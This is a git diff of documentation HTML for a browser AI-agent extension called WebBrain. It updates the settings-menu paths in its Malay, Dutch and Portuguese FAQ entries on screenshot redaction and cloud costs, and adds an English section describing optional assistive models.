- <div class="faq-answer"><p>Tidak — ia mengurangkan pendedahan, bukan jaminan. Apabila diaktifkan (<strong>Tetapan → Multimodal → Penyamaran tangkapan skrin</strong>, dimatikan secara lalai), WebBrain mengaburkan medan borang dan teks yang kelihatan seperti alamat e-mel atau nombor telefon pada setiap tangkapan skrin <em>sebelum</em> ia dihantar kepada model visi. Pengesanan berjalan sepenuhnya pada peranti anda menggunakan heuristik DOM; tiada apa-apa tambahan dihantar.</p><p><strong>Ini bersifat usaha terbaik dan fail-open.</strong> Jika pengesan tidak dapat berjalan pada sesuatu halaman — contohnya sejurus selepas navigasi, dalam pemapar PDF, atau pada halaman pelayar yang dihadkan — tangkapan skrin tetap dihantar <em>tanpa disamarkan</em> dan bukannya membatalkan tugas anda. Kandungan yang tidak dapat dilihat oleh heuristik DOM (teks yang dilukis pada canvas, maklumat peribadi dalam imej, widget yang luar biasa) juga mungkin terlepas. Dan tetapan ini hanya merangkumi tangkapan skrin: teks halaman yang dihantar kepada model tidak disamarkan olehnya.</p><p><strong>Untuk privasi visi sepenuhnya, gunakan model tempatan.</strong> Dengan penyedia luar talian seperti llama.cpp atau Ollama, tangkapan skrin dan teks halaman tidak akan meninggalkan peranti anda, jadi tiada apa-apa untuk disamarkan sejak awal — ini satu-satunya konfigurasi di mana privasi dijamin. Lihat "Bolehkah saya menggunakan WebBrain sepenuhnya luar talian?" di atas.</p><p><strong>Tiada peranti yang mampu menjalankan model tempatan berupaya visi?</strong> Jalan tengah yang baik ialah menggunakan model tempatan kecil untuk perancangan dan panggilan alat (cukup ringan untuk CPU/GPU yang sederhana), digabungkan dengan penyedia awan untuk sub-panggilan visi, dengan Penyamaran tangkapan skrin dihidupkan. Perbualan dan teks halaman anda kekal pada peranti, dan setiap tangkapan skrin yang keluar untuk visi awan sudah mempunyai medan borang serta e-mel/telefon yang dikesan dalam keadaan kabur — pendedahan awan berkurangan tanpa memerlukan perkakasan untuk model visi tempatan yang lengkap. Konfigurasikan pembahagian ini di bawah <strong>Tetapan → Visi</strong> (lihat "Bagaimanakah WebBrain mengawal bil LLM awan?" di atas).</p></div>
+ <div class="faq-answer"><p>Tidak — ia mengurangkan pendedahan, bukan jaminan. Apabila diaktifkan (<strong>Tetapan → Model Bantuan → Penglihatan → Penyamaran tangkapan skrin</strong>, dimatikan secara lalai), WebBrain mengaburkan medan borang dan teks yang kelihatan seperti alamat e-mel atau nombor telefon pada setiap tangkapan skrin <em>sebelum</em> ia dihantar kepada model visi. Pengesanan berjalan sepenuhnya pada peranti anda menggunakan heuristik DOM; tiada apa-apa tambahan dihantar.</p><p><strong>Ini bersifat usaha terbaik dan fail-open.</strong> Jika pengesan tidak dapat berjalan pada sesuatu halaman — contohnya sejurus selepas navigasi, dalam pemapar PDF, atau pada halaman pelayar yang dihadkan — tangkapan skrin tetap dihantar <em>tanpa disamarkan</em> dan bukannya membatalkan tugas anda. Kandungan yang tidak dapat dilihat oleh heuristik DOM (teks yang dilukis pada canvas, maklumat peribadi dalam imej, widget yang luar biasa) juga mungkin terlepas. Dan tetapan ini hanya merangkumi tangkapan skrin: teks halaman yang dihantar kepada model tidak disamarkan olehnya.</p><p><strong>Untuk privasi visi sepenuhnya, gunakan model tempatan.</strong> Dengan penyedia luar talian seperti llama.cpp atau Ollama, tangkapan skrin dan teks halaman tidak akan meninggalkan peranti anda, jadi tiada apa-apa untuk disamarkan sejak awal — ini satu-satunya konfigurasi di mana privasi dijamin. Lihat "Bolehkah saya menggunakan WebBrain sepenuhnya luar talian?" di atas.</p><p><strong>Tiada peranti yang mampu menjalankan model tempatan berupaya visi?</strong> Jalan tengah yang baik ialah menggunakan model tempatan kecil untuk perancangan dan panggilan alat (cukup ringan untuk CPU/GPU yang sederhana), digabungkan dengan penyedia awan untuk sub-panggilan visi, dengan Penyamaran tangkapan skrin dihidupkan. Perbualan dan teks halaman anda kekal pada peranti, dan setiap tangkapan skrin yang keluar untuk visi awan sudah mempunyai medan borang serta e-mel/telefon yang dikesan dalam keadaan kabur — pendedahan awan berkurangan tanpa memerlukan perkakasan untuk model visi tempatan yang lengkap. Konfigurasikan pembahagian ini di bawah <strong>Tetapan → Model Bantuan → Penglihatan</strong> (lihat "Bagaimanakah WebBrain mengawal bil LLM awan?" di atas).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>Adakah WebBrain menghantar keseluruhan DOM kepada model AI?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/nl/faq/index.html b/web/docs/nl/faq/index.html
index 0d660db49..46c0ab573 100644
--- a/web/docs/nl/faq/index.html
+++ b/web/docs/nl/faq/index.html
@@ -249,7 +249,7 @@
"name": "Garandeert de Screenshot-redactie-instelling dat mijn privédata nooit een cloud vision-model bereikt?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Nee — het vermindert de blootstelling, het is geen garantie. Wanneer ingeschakeld (Instellingen → Multimodal → Screenshot-redactie, standaard uit), pixeleert WebBrain formulieren en tekst die lijkt op een e-mailadres of telefoonnummer op elke screenshot voordat deze naar een vision-model wordt gestuurd. Detectie draait volledig op uw apparaat via DOM-heuristieken; er wordt niets extra's verzonden. Het is een best-effort, fail-open aanpak. Als de detector niet kan draaien op een pagina — bijvoorbeeld direct na navigatie, op PDF-viewers, of op beperkte browserpagina's — wordt de screenshot nog steeds onbewerkt verzonden in plaats van uw taak te annuleren. Inhoud die de DOM-heuristieken niet kunnen zien (tekst op een canvas, PBI in afbeeldingen, ongebruikelijke widgets) kan ook doorglippen. En de instelling dekt alleen screenshots: paginatekst die naar het model wordt gestuurd, wordt er niet door bewerkt. Voor volledige vision-privacy, gebruik een lokaal model. Met een offline provider zoals llama.cpp of Ollama verlaten screenshots en paginatekst uw machine nooit, dus er is niets om te bewerken — dat is de enige configuratie waarbij privacy gegarandeerd is. Zie \"Kan ik WebBrain volledig offline gebruiken?\" hierboven. Geen machine die een vision-capabel lokaal model kan draaien? Een goede middenweg is een klein lokaal model voor planning en tool-aanroepen (snel en licht genoeg voor een bescheiden CPU/GPU) gekoppeld aan een cloudprovider voor de vis子onderdelen, met Screenshot-redactie ingeschakeld. U behoudt uw gesprek en paginatekst op het apparaat, en elke screenshot die naar cloud-vision vertrekt heeft formulieren en gedetecteerde e-mails/telefoonnummers eerst vervaagd — verminderde cloudblootstelling zonder hardware voor een volledig lokaal vision-model. Configureer de vision-splitsing onder Instellingen → Vision (zie \"Hoe houdt WebBrain cloud LLM-rekeningen onder controle?\" hierboven)."
+ "text": "Nee — het vermindert de blootstelling, het is geen garantie. Wanneer ingeschakeld (Instellingen → Ondersteunende modellen → Visie → Screenshot-redactie, standaard uit), pixeleert WebBrain formulieren en tekst die lijkt op een e-mailadres of telefoonnummer op elke screenshot voordat deze naar een vision-model wordt gestuurd. Detectie draait volledig op uw apparaat via DOM-heuristieken; er wordt niets extra's verzonden. Het is een best-effort, fail-open aanpak. Als de detector niet kan draaien op een pagina — bijvoorbeeld direct na navigatie, op PDF-viewers, of op beperkte browserpagina's — wordt de screenshot nog steeds onbewerkt verzonden in plaats van uw taak te annuleren. Inhoud die de DOM-heuristieken niet kunnen zien (tekst op een canvas, PBI in afbeeldingen, ongebruikelijke widgets) kan ook doorglippen. En de instelling dekt alleen screenshots: paginatekst die naar het model wordt gestuurd, wordt er niet door bewerkt. Voor volledige vision-privacy, gebruik een lokaal model. Met een offline provider zoals llama.cpp of Ollama verlaten screenshots en paginatekst uw machine nooit, dus er is niets om te bewerken — dat is de enige configuratie waarbij privacy gegarandeerd is. Zie \"Kan ik WebBrain volledig offline gebruiken?\" hierboven. Geen machine die een vision-capabel lokaal model kan draaien? Een goede middenweg is een klein lokaal model voor planning en tool-aanroepen (snel en licht genoeg voor een bescheiden CPU/GPU) gekoppeld aan een cloudprovider voor de vis子onderdelen, met Screenshot-redactie ingeschakeld. U behoudt uw gesprek en paginatekst op het apparaat, en elke screenshot die naar cloud-vision vertrekt heeft formulieren en gedetecteerde e-mails/telefoonnummers eerst vervaagd — verminderde cloudblootstelling zonder hardware voor een volledig lokaal vision-model. Configureer de vision-splitsing onder Instellingen → Ondersteunende modellen → Visie (zie \"Hoe houdt WebBrain cloud LLM-rekeningen onder controle?\" hierboven)."
}
},
{
@@ -289,7 +289,7 @@
"name": "Hoe houdt WebBrain cloud LLM-rekeningen onder controle?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Drie onafhankelijke lagen: Token-bewuste screenshots. Voordat een afbeelding uw machine verlaat, resizeert WebBrain deze (korte kant begrensd, beeldverhouding behouden) en comprimeert iteratief JPEG totdat deze past binnen een per-beurt afbeeldingstoken-budget. Een 2000×1200 screenshot dat u ~1.500 invoertokens zou kosten op GPT-4o, wordt gecomprimeerd naar ~300–500 tokens zonder praktisch verlies voor paginaleestaken. Geïmplementeerd in _fitImageDimensions met unittesten voor de budgetberekening. Slimme contextbijsnijding. Gespreksgeschiedenis, tooluitvoer en inline DOM-dumps worden per beurt begrensd en van oudste naar nieuwste bijgesneden wanneer het contextvenster van het actieve model bijna vol is. U zult niet zien dat een sessie stilzwellig opzwelt van 10k naar 100k tokens doordat een read_page een artikel ter lengte van een roman retourneerde. Gewijd vision-model. Koppel een goedkoop tekstmodel (bijv. GPT-4o-mini) voor planning en tool-aanroepen aan een apart vision-capabel model (bijv. GPT-4o) alleen voor screenshots, zodat u niet het multimodale model-tarief betaalt bij elke beurt. Configureer onder Instellingen → Vision. Nettoresultaat: lange sessies met cloudproviders blijven voorspelbaar. Voor volledige controle, gebruik llama.cpp lokaal — nul kosten per token."
+ "text": "Drie onafhankelijke lagen: Token-bewuste screenshots. Voordat een afbeelding uw machine verlaat, resizeert WebBrain deze (korte kant begrensd, beeldverhouding behouden) en comprimeert iteratief JPEG totdat deze past binnen een per-beurt afbeeldingstoken-budget. Een 2000×1200 screenshot dat u ~1.500 invoertokens zou kosten op GPT-4o, wordt gecomprimeerd naar ~300–500 tokens zonder praktisch verlies voor paginaleestaken. Geïmplementeerd in _fitImageDimensions met unittesten voor de budgetberekening. Slimme contextbijsnijding. Gespreksgeschiedenis, tooluitvoer en inline DOM-dumps worden per beurt begrensd en van oudste naar nieuwste bijgesneden wanneer het contextvenster van het actieve model bijna vol is. U zult niet zien dat een sessie stilzwellig opzwelt van 10k naar 100k tokens doordat een read_page een artikel ter lengte van een roman retourneerde. Gewijd vision-model. Koppel een goedkoop tekstmodel (bijv. GPT-4o-mini) voor planning en tool-aanroepen aan een apart vision-capabel model (bijv. GPT-4o) alleen voor screenshots, zodat u niet het multimodale model-tarief betaalt bij elke beurt. Configureer onder Instellingen → Ondersteunende modellen → Visie. Nettoresultaat: lange sessies met cloudproviders blijven voorspelbaar. Voor volledige controle, gebruik llama.cpp lokaal — nul kosten per token."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>Hoe houdt WebBrain cloud LLM-rekeningen onder controle?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Drie onafhankelijke lagen:</p><p><strong>Token-bewuste screenshots.</strong> Voordat een afbeelding uw machine verlaat, resizeert WebBrain deze (korte kant begrensd, beeldverhouding behouden) en comprimeert iteratief JPEG totdat deze past binnen een per-beurt afbeeldingstoken-budget. Een 2000×1200 screenshot dat u ~1.500 invoertokens zou kosten op GPT-4o, wordt gecomprimeerd naar ~300–500 tokens zonder praktisch verlies voor paginaleestaken. Geïmplementeerd in <code>_fitImageDimensions</code> met unittesten voor de budgetberekening.</p><p><strong>Slimme contextbijsnijding.</strong> Gespreksgeschiedenis, tooluitvoer en inline DOM-dumps worden per beurt begrensd en van oudste naar nieuwste bijgesneden wanneer het contextvenster van het actieve model bijna vol is. U zult niet zien dat een sessie stilzwellig opzwelt van 10k naar 100k tokens doordat een <code>read_page</code> een artikel ter lengte van een roman retourneerde.</p><p><strong>Gewijd vision-model.</strong> Koppel een goedkoop tekstmodel (bijv. GPT-4o-mini) voor planning en tool-aanroepen aan een apart vision-capabel model (bijv. GPT-4o) alleen voor screenshots, zodat u niet het multimodale model-tarief betaalt bij elke beurt. Configureer onder <strong>Instellingen → Vision</strong>.</p><p>Nettoresultaat: lange sessies met cloudproviders blijven voorspelbaar. Voor volledige controle, gebruik llama.cpp lokaal — nul kosten per token.</p></div>
+ <div class="faq-answer"><p>Drie onafhankelijke lagen:</p><p><strong>Token-bewuste screenshots.</strong> Voordat een afbeelding uw machine verlaat, resizeert WebBrain deze (korte kant begrensd, beeldverhouding behouden) en comprimeert iteratief JPEG totdat deze past binnen een per-beurt afbeeldingstoken-budget. Een 2000×1200 screenshot dat u ~1.500 invoertokens zou kosten op GPT-4o, wordt gecomprimeerd naar ~300–500 tokens zonder praktisch verlies voor paginaleestaken. Geïmplementeerd in <code>_fitImageDimensions</code> met unittesten voor de budgetberekening.</p><p><strong>Slimme contextbijsnijding.</strong> Gespreksgeschiedenis, tooluitvoer en inline DOM-dumps worden per beurt begrensd en van oudste naar nieuwste bijgesneden wanneer het contextvenster van het actieve model bijna vol is. U zult niet zien dat een sessie stilzwellig opzwelt van 10k naar 100k tokens doordat een <code>read_page</code> een artikel ter lengte van een roman retourneerde.</p><p><strong>Gewijd vision-model.</strong> Koppel een goedkoop tekstmodel (bijv. GPT-4o-mini) voor planning en tool-aanroepen aan een apart vision-capabel model (bijv. GPT-4o) alleen voor screenshots, zodat u niet het multimodale model-tarief betaalt bij elke beurt. Configureer onder <strong>Instellingen → Ondersteunende modellen → Visie</strong>.</p><p>Nettoresultaat: lange sessies met cloudproviders blijven voorspelbaar. Voor volledige controle, gebruik llama.cpp lokaal — nul kosten per token.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>Garandeert de Screenshot-redactie-instelling dat mijn privédata nooit een cloud vision-model bereikt?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Nee — het vermindert de blootstelling, het is geen garantie. Wanneer ingeschakeld (<strong>Instellingen → Multimodal → Screenshot-redactie</strong>, standaard uit), pixeleert WebBrain formulieren en tekst die lijkt op een e-mailadres of telefoonnummer op elke screenshot <em>voordat</em> deze naar een vision-model wordt gestuurd. Detectie draait volledig op uw apparaat via DOM-heuristieken; er wordt niets extra's verzonden.</p><p><strong>Het is een best-effort, fail-open aanpak.</strong> Als de detector niet kan draaien op een pagina — bijvoorbeeld direct na navigatie, op PDF-viewers, of op beperkte browserpagina's — wordt de screenshot nog steeds <em>onbewerkt</em> verzonden in plaats van uw taak te annuleren. Inhoud die de DOM-heuristieken niet kunnen zien (tekst op een canvas, PBI in afbeeldingen, ongebruikelijke widgets) kan ook doorglippen. En de instelling dekt alleen screenshots: pagina<em>tekst</em> die naar het model wordt gestuurd, wordt er niet door bewerkt.</p><p><strong>Voor volledige vision-privacy, gebruik een lokaal model.</strong> Met een offline provider zoals llama.cpp of Ollama verlaten screenshots en paginatekst uw machine nooit, dus er is niets om te bewerken — dat is de enige configuratie waarbij privacy gegarandeerd is. Zie "Kan ik WebBrain volledig offline gebruiken?" hierboven.</p><p><strong>Geen machine die een vision-capabel lokaal model kan draaien?</strong> Een goede middenweg is een klein lokaal model voor planning en tool-aanroepen (snel en licht genoeg voor een bescheiden CPU/GPU) gekoppeld aan een cloudprovider voor de vis子onderdelen, met Screenshot-redactie ingeschakeld. U behoudt uw gesprek en paginatekst op het apparaat, en elke screenshot die naar cloud-vision vertrekt heeft formulieren en gedetecteerde e-mails/telefoonnummers eerst vervaagd — verminderde cloudblootstelling zonder hardware voor een volledig lokaal vision-model. Configureer de vision-splitsing onder <strong>Instellingen → Vision</strong> (zie "Hoe houdt WebBrain cloud LLM-rekeningen onder controle?" hierboven).</p></div>
+ <div class="faq-answer"><p>Nee — het vermindert de blootstelling, het is geen garantie. Wanneer ingeschakeld (<strong>Instellingen → Ondersteunende modellen → Visie → Screenshot-redactie</strong>, standaard uit), pixeleert WebBrain formulieren en tekst die lijkt op een e-mailadres of telefoonnummer op elke screenshot <em>voordat</em> deze naar een vision-model wordt gestuurd. Detectie draait volledig op uw apparaat via DOM-heuristieken; er wordt niets extra's verzonden.</p><p><strong>Het is een best-effort, fail-open aanpak.</strong> Als de detector niet kan draaien op een pagina — bijvoorbeeld direct na navigatie, op PDF-viewers, of op beperkte browserpagina's — wordt de screenshot nog steeds <em>onbewerkt</em> verzonden in plaats van uw taak te annuleren. Inhoud die de DOM-heuristieken niet kunnen zien (tekst op een canvas, PBI in afbeeldingen, ongebruikelijke widgets) kan ook doorglippen. En de instelling dekt alleen screenshots: pagina<em>tekst</em> die naar het model wordt gestuurd, wordt er niet door bewerkt.</p><p><strong>Voor volledige vision-privacy, gebruik een lokaal model.</strong> Met een offline provider zoals llama.cpp of Ollama verlaten screenshots en paginatekst uw machine nooit, dus er is niets om te bewerken — dat is de enige configuratie waarbij privacy gegarandeerd is. Zie "Kan ik WebBrain volledig offline gebruiken?" hierboven.</p><p><strong>Geen machine die een vision-capabel lokaal model kan draaien?</strong> Een goede middenweg is een klein lokaal model voor planning en tool-aanroepen (snel en licht genoeg voor een bescheiden CPU/GPU) gekoppeld aan een cloudprovider voor de vis子onderdelen, met Screenshot-redactie ingeschakeld. U behoudt uw gesprek en paginatekst op het apparaat, en elke screenshot die naar cloud-vision vertrekt heeft formulieren en gedetecteerde e-mails/telefoonnummers eerst vervaagd — verminderde cloudblootstelling zonder hardware voor een volledig lokaal vision-model. Configureer de vision-splitsing onder <strong>Instellingen → Ondersteunende modellen → Visie</strong> (zie "Hoe houdt WebBrain cloud LLM-rekeningen onder controle?" hierboven).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>Stuurt WebBrain de volledige DOM naar het AI-model?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/providers/index.html b/web/docs/providers/index.html
index 7edc49275..ef8ae8ff7 100644
--- a/web/docs/providers/index.html
+++ b/web/docs/providers/index.html
@@ -35,6 +35,7 @@
<section class="doc-section" id="troubleshoot"><h2>When Test Connection fails</h2><ol><li><strong>Connection refused:</strong> start the local server and confirm the port.</li><li><strong>CORS or origin error:</strong> allow the WebBrain extension origin in the local server.</li><li><strong>Unauthorized:</strong> paste a current key for the same provider as the base URL.</li><li><strong>Model not found:</strong> copy the exact model ID from the provider or use Load models.</li><li><strong>Requests time out:</strong> increase the General request timeout for large local models on CPU.</li><li><strong>Runs fail after a few turns:</strong> confirm the real context window; lower the prompt tier or load the model with a larger context.</li></ol><div class="callout tip"><strong class="callout-title">Test before you switch</strong><p>Keep the working provider active while you configure a new one. Save and test the new card first; only then click Set Active.</p></div></section>
+ <section class="doc-section" id="assistive-models"><h2>Optional assistive models</h2><p>The active provider handles the main conversation, planning and final replies. Use <strong>Settings → Assistive Models</strong> for a separate <strong>Vision</strong> model, <strong>Speech to text</strong> endpoint or <strong>Jev (TypeSafe)</strong>. These settings are independent of provider filtering and selection.</p><p>Jev offers optional scheduled verification and separate default-off fast classifications and experimental browser actions. Existing permissions and completion checks still apply; live speed gains have not been established. See <a href="/docs/settings/#multimodal">Assistive Models settings</a> for setup and data-sharing details.</p></section>
<nav class="next-links" aria-label="Next guides"><a href="/docs/settings/"><span>Back</span>← Settings, explained</a><a href="/docs/safety/"><span>Next</span>Modes, safety & privacy →</a></nav>
</main>
<aside class="on-this-page" aria-label="On this page"><h2>On this page</h2><a href="#quick-choice">Quick choice</a><a href="#catalog">Provider catalog</a><a href="#setup">Configure</a><a href="#fields">Fields</a><a href="#local">Local models</a><a href="#tiers">Prompt tiers</a><a href="#troubleshoot">Troubleshoot</a></aside>
diff --git a/web/docs/pt/faq/index.html b/web/docs/pt/faq/index.html
index 72368c77a..486cba770 100644
--- a/web/docs/pt/faq/index.html
+++ b/web/docs/pt/faq/index.html
@@ -249,7 +249,7 @@
"name": "A configuração de redação de captura de tela garante que meus dados privados nunca cheguem a um modelo de visão em nuvem?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Não – reduz a exposição, não é uma garantia. Quando ativado (Configurações → Multimodal → Redação de captura de tela, desativado por padrão), WebBrain pixeliza campos de formulário e texto que se parece com um endereço de e-mail ou número de telefone em cada captura de tela antes ele é enviado para um modelo de visão. A detecção é executada inteiramente no seu dispositivo usando heurística DOM; nada extra é transmitido. É o melhor esforço e a falha aberta. Se o detector não puder ser executado em uma página — por exemplo, imediatamente após uma navegação, em visualizadores de PDF ou em páginas restritas do navegador — a captura de tela ainda será enviada não editado em vez de abortar sua tarefa. O conteúdo que a heurística do DOM não consegue ver (texto desenhado em uma tela, PII dentro de imagens, widgets incomuns) também pode escapar. E a configuração cobre apenas capturas de tela: página texto enviado ao modelo não é editado por ele. Para total privacidade visual, use um modelo local. Com um provedor off-line como llama.cpp ou Ollama, as capturas de tela e o texto da página nunca saem da sua máquina, portanto, em primeiro lugar, não há nada para editar — essa é a única configuração em que a privacidade é garantida. Consulte \"Posso usar WebBrain totalmente offline?\" acima. Não tem uma máquina que possa executar um modelo local com capacidade de visão? Um bom meio-termo é um pequeno modelo local para planejamento e chamadas de ferramentas (rápido e leve o suficiente para uma CPU/GPU modesta) emparelhado com um provedor de nuvem para as subchamadas de visão, com a edição de captura de tela ativada. Você ainda mantém sua conversa e o texto da página no dispositivo, e cada captura de tela que sai para a visão na nuvem tem campos de formulário e e-mails/telefones detectados desfocados primeiro – exposição reduzida à nuvem sem a necessidade de hardware para um modelo de visão local completo. Configure a divisão de visão em Configurações → Visão (consulte \"Como o WebBrain mantém as contas do Cloud LLM sob controle?\" acima)."
+ "text": "Não – reduz a exposição, não é uma garantia. Quando ativado (Configurações → Modelos auxiliares → Visão → Redação de captura de tela, desativado por padrão), WebBrain pixeliza campos de formulário e texto que se parece com um endereço de e-mail ou número de telefone em cada captura de tela antes ele é enviado para um modelo de visão. A detecção é executada inteiramente no seu dispositivo usando heurística DOM; nada extra é transmitido. É o melhor esforço e a falha aberta. Se o detector não puder ser executado em uma página — por exemplo, imediatamente após uma navegação, em visualizadores de PDF ou em páginas restritas do navegador — a captura de tela ainda será enviada não editado em vez de abortar sua tarefa. O conteúdo que a heurística do DOM não consegue ver (texto desenhado em uma tela, PII dentro de imagens, widgets incomuns) também pode escapar. E a configuração cobre apenas capturas de tela: página texto enviado ao modelo não é editado por ele. Para total privacidade visual, use um modelo local. Com um provedor off-line como llama.cpp ou Ollama, as capturas de tela e o texto da página nunca saem da sua máquina, portanto, em primeiro lugar, não há nada para editar — essa é a única configuração em que a privacidade é garantida. Consulte \"Posso usar WebBrain totalmente offline?\" acima. Não tem uma máquina que possa executar um modelo local com capacidade de visão? Um bom meio-termo é um pequeno modelo local para planejamento e chamadas de ferramentas (rápido e leve o suficiente para uma CPU/GPU modesta) emparelhado com um provedor de nuvem para as subchamadas de visão, com a edição de captura de tela ativada. Você ainda mantém sua conversa e o texto da página no dispositivo, e cada captura de tela que sai para a visão na nuvem tem campos de formulário e e-mails/telefones detectados desfocados primeiro – exposição reduzida à nuvem sem a necessidade de hardware para um modelo de visão local completo. Configure a divisão de visão em Configurações → Modelos auxiliares → Visão (consulte \"Como o WebBrain mantém as contas do Cloud LLM sob controle?\" acima)."
}
},
{
@@ -289,7 +289,7 @@
"name": "Como WebBrain mantém as contas do Cloud LLM sob controle?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Três camadas independentes: Capturas de tela com reconhecimento de token. Antes de qualquer imagem sair de sua máquina, WebBrain a redimensiona (lado mais curto, preservando a proporção de aspecto) e a compacta iterativamente em JPEG até que ela caiba no orçamento de token de imagem por turno. Uma captura de tela de 2.000 × 1.200 que custaria cerca de 1.500 tokens de entrada no GPT-4o é compactada para cerca de 300-500 tokens sem perda prática para tarefas de leitura de página. Implementado em _fitImageDimensions com testes unitários para a matemática do orçamento. Corte de contexto inteligente. O histórico de conversas, as saídas de ferramentas e os dumps DOM embutidos são limitados por turno e cortados mais antigos primeiro quando a janela de contexto do modelo ativo está quase cheia. Você não verá uma corrida silenciosa aumentar de 10 mil tokens para 100 mil porque um read_page retornou um artigo do tamanho de um romance. Modelo de visão dedicado. Combine um modelo de texto barato (por exemplo, GPT-4o-mini) para planejamento e chamadas de ferramentas com um modelo separado com capacidade de visão (por exemplo, GPT-4o) apenas para capturas de tela, para que você não pague preços de modelos multimodais em cada curva. Configurar em Configurações → Visão. Resultado líquido: longas sessões com provedores de nuvem permanecem previsíveis. Para controle total, use llama.cpp localmente – custo zero por token."
+ "text": "Três camadas independentes: Capturas de tela com reconhecimento de token. Antes de qualquer imagem sair de sua máquina, WebBrain a redimensiona (lado mais curto, preservando a proporção de aspecto) e a compacta iterativamente em JPEG até que ela caiba no orçamento de token de imagem por turno. Uma captura de tela de 2.000 × 1.200 que custaria cerca de 1.500 tokens de entrada no GPT-4o é compactada para cerca de 300-500 tokens sem perda prática para tarefas de leitura de página. Implementado em _fitImageDimensions com testes unitários para a matemática do orçamento. Corte de contexto inteligente. O histórico de conversas, as saídas de ferramentas e os dumps DOM embutidos são limitados por turno e cortados mais antigos primeiro quando a janela de contexto do modelo ativo está quase cheia. Você não verá uma corrida silenciosa aumentar de 10 mil tokens para 100 mil porque um read_page retornou um artigo do tamanho de um romance. Modelo de visão dedicado. Combine um modelo de texto barato (por exemplo, GPT-4o-mini) para planejamento e chamadas de ferramentas com um modelo separado com capacidade de visão (por exemplo, GPT-4o) apenas para capturas de tela, para que você não pague preços de modelos multimodais em cada curva. Configurar em Configurações → Modelos auxiliares → Visão. Resultado líquido: longas sessões com provedores de nuvem permanecem previsíveis. Para controle total, use llama.cpp localmente – custo zero por token."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>Como WebBrain mantém as contas do Cloud LLM sob controle?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Três camadas independentes:</p><p><strong>Capturas de tela com reconhecimento de token.</strong> Antes de qualquer imagem sair de sua máquina, WebBrain a redimensiona (lado mais curto, preservando a proporção de aspecto) e a compacta iterativamente em JPEG até que ela caiba no orçamento de token de imagem por turno. Uma captura de tela de 2.000 × 1.200 que custaria cerca de 1.500 tokens de entrada no GPT-4o é compactada para cerca de 300-500 tokens sem perda prática para tarefas de leitura de página. Implementado em <code>_fitImageDimensions</code> com testes unitários para a matemática do orçamento.</p><p><strong>Corte de contexto inteligente.</strong> O histórico de conversas, as saídas de ferramentas e os dumps DOM embutidos são limitados por turno e cortados mais antigos primeiro quando a janela de contexto do modelo ativo está quase cheia. Você não verá uma corrida silenciosa aumentar de 10 mil tokens para 100 mil porque um <code>read_page</code> retornou um artigo do tamanho de um romance.</p><p><strong>Modelo de visão dedicado.</strong> Combine um modelo de texto barato (por exemplo, GPT-4o-mini) para planejamento e chamadas de ferramentas com um modelo separado com capacidade de visão (por exemplo, GPT-4o) apenas para capturas de tela, para que você não pague preços de modelos multimodais em cada curva. Configurar em <strong>Configurações → Visão</strong>.</p><p>Resultado líquido: longas sessões com provedores de nuvem permanecem previsíveis. Para controle total, use llama.cpp localmente – custo zero por token.</p></div>
+ <div class="faq-answer"><p>Três camadas independentes:</p><p><strong>Capturas de tela com reconhecimento de token.</strong> Antes de qualquer imagem sair de sua máquina, WebBrain a redimensiona (lado mais curto, preservando a proporção de aspecto) e a compacta iterativamente em JPEG até que ela caiba no orçamento de token de imagem por turno. Uma captura de tela de 2.000 × 1.200 que custaria cerca de 1.500 tokens de entrada no GPT-4o é compactada para cerca de 300-500 tokens sem perda prática para tarefas de leitura de página. Implementado em <code>_fitImageDimensions</code> com testes unitários para a matemática do orçamento.</p><p><strong>Corte de contexto inteligente.</strong> O histórico de conversas, as saídas de ferramentas e os dumps DOM embutidos são limitados por turno e cortados mais antigos primeiro quando a janela de contexto do modelo ativo está quase cheia. Você não verá uma corrida silenciosa aumentar de 10 mil tokens para 100 mil porque um <code>read_page</code> retornou um artigo do tamanho de um romance.</p><p><strong>Modelo de visão dedicado.</strong> Combine um modelo de texto barato (por exemplo, GPT-4o-mini) para planejamento e chamadas de ferramentas com um modelo separado com capacidade de visão (por exemplo, GPT-4o) apenas para capturas de tela, para que você não pague preços de modelos multimodais em cada curva. Configurar em <strong>Configurações → Modelos auxiliares → Visão</strong>.</p><p>Resultado líquido: longas sessões com provedores de nuvem permanecem previsíveis. Para controle total, use llama.cpp localmente – custo zero por token.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>A configuração de redação de captura de tela garante que meus dados privados nunca cheguem a um modelo de visão em nuvem?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Não – reduz a exposição, não é uma garantia. Quando ativado (<strong>Configurações → Multimodal → Redação de captura de tela</strong>, desativado por padrão), WebBrain pixeliza campos de formulário e texto que se parece com um endereço de e-mail ou número de telefone em cada captura de tela <em>antes</em> ele é enviado para um modelo de visão. A detecção é executada inteiramente no seu dispositivo usando heurística DOM; nada extra é transmitido.</p><p><strong>É o melhor esforço e a falha aberta.</strong> Se o detector não puder ser executado em uma página — por exemplo, imediatamente após uma navegação, em visualizadores de PDF ou em páginas restritas do navegador — a captura de tela ainda será enviada <em>não editado</em> em vez de abortar sua tarefa. O conteúdo que a heurística do DOM não consegue ver (texto desenhado em uma tela, PII dentro de imagens, widgets incomuns) também pode escapar. E a configuração cobre apenas capturas de tela: página <em>texto</em> enviado ao modelo não é editado por ele.</p><p><strong>Para total privacidade visual, use um modelo local.</strong> Com um provedor off-line como llama.cpp ou Ollama, as 